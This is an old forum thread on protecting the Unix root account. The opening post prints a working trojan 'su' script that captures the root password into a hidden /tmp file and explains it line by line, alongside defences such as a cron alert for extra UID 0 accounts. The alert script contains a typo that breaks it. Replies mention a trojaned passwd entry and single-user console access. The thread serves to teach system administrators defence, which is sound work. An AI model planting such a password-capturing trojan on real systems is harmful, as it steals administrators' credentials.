Protecting the root account.
Results 1 to 6 of 6

Thread: Protecting the root account.

  1. #1
    Senior Member
    Join Date
    Nov 2001
    Posts
    185

    Protecting the root account.

    Protecting the root account at all costs on Unix Systems.

    In my opinon the root account is the single most important thing on any Unix machine, regardless of the data that may be on the machine.
    Once it has been compromised there is always uncertainty about the integrity of the system. I have just a couple of suggestions here for those of you who run Unix ( this includes Linux ofcourse).

    There are quite a few neat little things that we can do to help ourselves as administrators to protect the root account. I am only listing a few here, but perhaps it will spark some good discussion from your experiences on other methods.

    1. The su command

    su is an old favorite to attack in root-kits on Unix machines. Essentially it can be trojaned with something
    * extra * often to cat or redirect the root password to another file. Let me begin by showing a simple example
    of how such an exploit could be carried out.

    This is a very simple shell script that would upon execution simulate the real command su to capture the root
    password and redirect it to an inconspicous file.

    #! /bin/bash

    stty -echo

    echo -n "Password:"
    read PASSWD

    stty echo
    echo
    echo "Sorry"

    echo "$1 / $2: $PASSWD" >> /tmp/.text31337

    `So, what does it do? ... you ask.

    Line 1: Define the shell being used. (using bash as an example on a Linux machine)
    Line 3: Turn off the echoing of characters to STDOUT.
    Line 5: Simulate a login session by asking for a password.
    Line 6: Read the typed passwd into the variable $PASSWD.
    Line 9: Turn the echoing back on so characters are sent to STDOUT.
    Line 10: Simulate a wrong password being entered.
    Line 12: Write the root account name if specified and the password entered to an inconpicuous filename
    in this case, a hidden file in /tmp named .text31337

    Now suppose mr. Ev1L h4x0r has named this script su and placed it in root's $PATH.

    example output: (legitimate user with su password attempting to become root)

    $ su root
    Password:
    Sorry
    $

    and ofcourse if we were to cat out /tmp/.text31337 it would say


    root / `root password'

    And so I would suggest using the full path to su whenever using it. The real su is almost always in /bin. If
    you run Linux, I also recommend doing a chattr +i on /bin/su so that the file is immutable i.e. Can not be
    modified - deleted - or overwritten. Unfortunatley chattr and lsattr are limited to Linux at the moment so this
    is not an option for users of other Unix types. Linux users see `man chattr' and `man lsattr' for more details.

    example usage:

    $ /bin/su
    ( the method I like)

    $ su
    (also correct, but possibly unsafe if there has been a root-kit placed on the system)


    2. /etc/passwd Monitoring root in the Password file.
    One of the truly great things for Sys-Admins who run Unix is the ability to do some nifty notification messages.
    A file that I recommend that you monitor regularly is /etc/passwd. On most Unix's this does not contain the
    actual passwords of users, that is typically stored in /etc/shadow, I am interested in /etc/passwd because I can
    monitor User ID's (form here on called UID's) for anyone other than root that has a UID of 0. A UID of 0 * is *
    the same thing as root.

    An attacker who wants to root your box must obtain UID 0 to accomplish this. There are many methods that
    have been used to gain root on a Unix box. Often they do not actually obtain the root account itself, but the
    UID 0 which is the same thing, but with an inconspicous name like `operator' or some other normal looking
    or legitimate user on the system to avoid suspicion.

    If someone does root your Unix box, the best thing you can hope for is to learn of it early enough to take the
    system off-line and examine the extent of the access/damage and how the access was gained. Although I
    hope that you never get this email, I have prepared a shell script that you can run from cron to check for
    UID's other than root and get an early start on your damage control efforts.


    #! /bin/bash

    for id in `awk 'FS=":" {if(($3 == 0 && $1 != "root" )) \
    pritnt $1} ' /etc/passwd`
    do
    mail -s "Root Access Alert" root@hostname.org << EOF


    * Alert! Login ID `echo ${id}` has UID 0 *
    * `date "+Detected On Date :%D Time :%r"` *

    EOF
    done

    'So what does all that mean?'....you ask.
    Line 1: In the /etc/passwd file, begin searching in the third field for UID 0, if the UID is 0 check the first
    field to see if the ID is root. If the ID is root, continue checking starting at the next line in the UID
    field. If the UID is 0 and the ID is * not * root ......
    Line 4: Mail root@hostname.org with the subject "Root Access Alert" and the values in the banner.

    Example email.

    From: root@hostname.org
    Sent: Saturday, December 23 2001 23:15
    To: root@hostname.org
    Subject: Root Access Alert

    * Alert! Login ID UberC0der has UID 0 *
    * Dectected On Date :12/23/01 Time :11:47:32 PM *


    I would recommend running this as a cron job. I put this in /root named access-alert and chmod it so
    that cron can run it.

    example cron entry:

    #crontab -e
    (edit the crontab for root)


    30 * * * * /root/access-alert /dev/null 2>&1

    Please consult `man crontab' if you need help with this.

    If you would rather have the "Root Access Alert" message printed to the console instead of being emailed
    to you, simple change Line 4 (mail -s "Root Access Alert" root@hostname.org << EOF) to this:

    cat << EOF > /dev/console



    I will end this post here, I realize that is a lot of stuff to read. Any input you have is appreciated.

    We need more security in the *nix forums methinks.

    Merry Christmas everyone.
    Know this..., you may not by thyself in pride claim the Mantle of Wizardry; that way lies only Bogosity without End.

    Rather must you Become, and Become, and Become, until Hackers respect thy Power, and other Wizards hail thee as a Brother or Sister in Wisdom, and you wake up and realize that the Mantle hath lain unknown upon thy Shoulders since you knew not when.

    Share on Google+

  2. #2
    Senior Member linuxcomando's Avatar
    Join Date
    Sep 2001
    Posts
    430
    I think we cannot stress the issue of protecting root enough.If root is gone so is the system so all of yout data is compromised anyway
    Share on Google+

  3. #3
    PHP/PostgreSQL guy
    Join Date
    Dec 2001
    Posts
    1,164
    This is very true, however one mustn't forget that it's quite easy to trojan a program that's executed by an account other than root, in order to get root access for later.

    Take the following (as I've seen before):

    sync:*:4:4::/usr/sbin/:/usr/sbin/sync

    This was on a Redhat 6.0 box (I think that's the right entry) and it had been replaced with:

    sync:*:4:4::/usr/sbin/:/usr/sbin/symc

    Can we spot the difference? Ah yes...and unless you're really looking for it, like I was (already knew the box had been compromised), chances are the average sysadm would overlook one character difference.

    Another few methods to ensure root isn't gained through normal exploits:

    1: jail all your scripts owned by root (PATH=whatever_goes_here)

    2: limit the number of set-uid root programs

    3: ensure all scripts you put into your environment that're owned by root have been thoroughly checked for anything like overflows (integrity-check every field that requires input by the user), trap signals, shell escapes (aiiiii!), and other things that can lead to a root shell. Another thing I've done is that if I have a script that can *only* be run as root, I do a uid-check on the user running and if it's not 0, it bails. Yeah, if someone else had 0 as a UID it'd be compromised, but then they wouldn't be trying to break my script to try to get root now would they?
    We the willing, led by the unknowing, have been doing the impossible for the ungrateful. We have done so much with so little for so long that we are now qualified to do just about anything with almost nothing.
    Share on Google+

  4. #4
    Senior Member
    Join Date
    Nov 2001
    Posts
    185
    Excellent input guys.

    Should we consider collaborating on a `root protection' post that could be a newbies definitive guide?

    I really feel strongly about educating those new to Unix on it's security. With Linux, or any other Unix flavor there just isn't an equivalent to Tiny Personal Firewall or Zone Alarm that a new user can run without knowing a fair amount about how it all works.

    There is also the concern that a compromised Linux box in the hands of mr. Evil hax0r is a tad more dangerous than say Win 98.

    Thanks again for the replies, and Happy Holidays
    Know this..., you may not by thyself in pride claim the Mantle of Wizardry; that way lies only Bogosity without End.

    Rather must you Become, and Become, and Become, until Hackers respect thy Power, and other Wizards hail thee as a Brother or Sister in Wisdom, and you wake up and realize that the Mantle hath lain unknown upon thy Shoulders since you knew not when.

    Share on Google+

  5. #5
    PHP/PostgreSQL guy
    Join Date
    Dec 2001
    Posts
    1,164
    I think that's a great idea, UberC0der. That's one major reason why some people are completely snowed over when a unix/linux box is broken into. "But I thought it was secure" is the normal line I hear, to which I respond "It's only as secure as you make and keep it.". As stated in the Unix Systems Administrator's Handbook, security = 1 / convenience and I think that if we can come up with a good handy dandy tutorial and/or write a few scripts that not only detect (insert laundry list of things here) but maybe one or two that actually fix things (there's probably tons out there, but most are home-grown as I've found), then that'll ease the 'fear factor' some. I mean, with Windows, it's easy to reinstall when you fux0r something up, but linux isn't quite that easy for them in that aspect.

    Happy holidays to you too!
    We the willing, led by the unknowing, have been doing the impossible for the ungrateful. We have done so much with so little for so long that we are now qualified to do just about anything with almost nothing.
    Share on Google+

  6. #6
    Member
    Join Date
    Aug 2001
    Posts
    66
    Good Post.

    Just to add, if you are on a default install of distro like Red Hat, make sure you disable the "linux single" command in LILO by going through lilo.conf. This allows ANYONE to get to the root account if that person has access to the console.
    Ah well...I\'m back on AntiOnline!
    Share on Google+

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •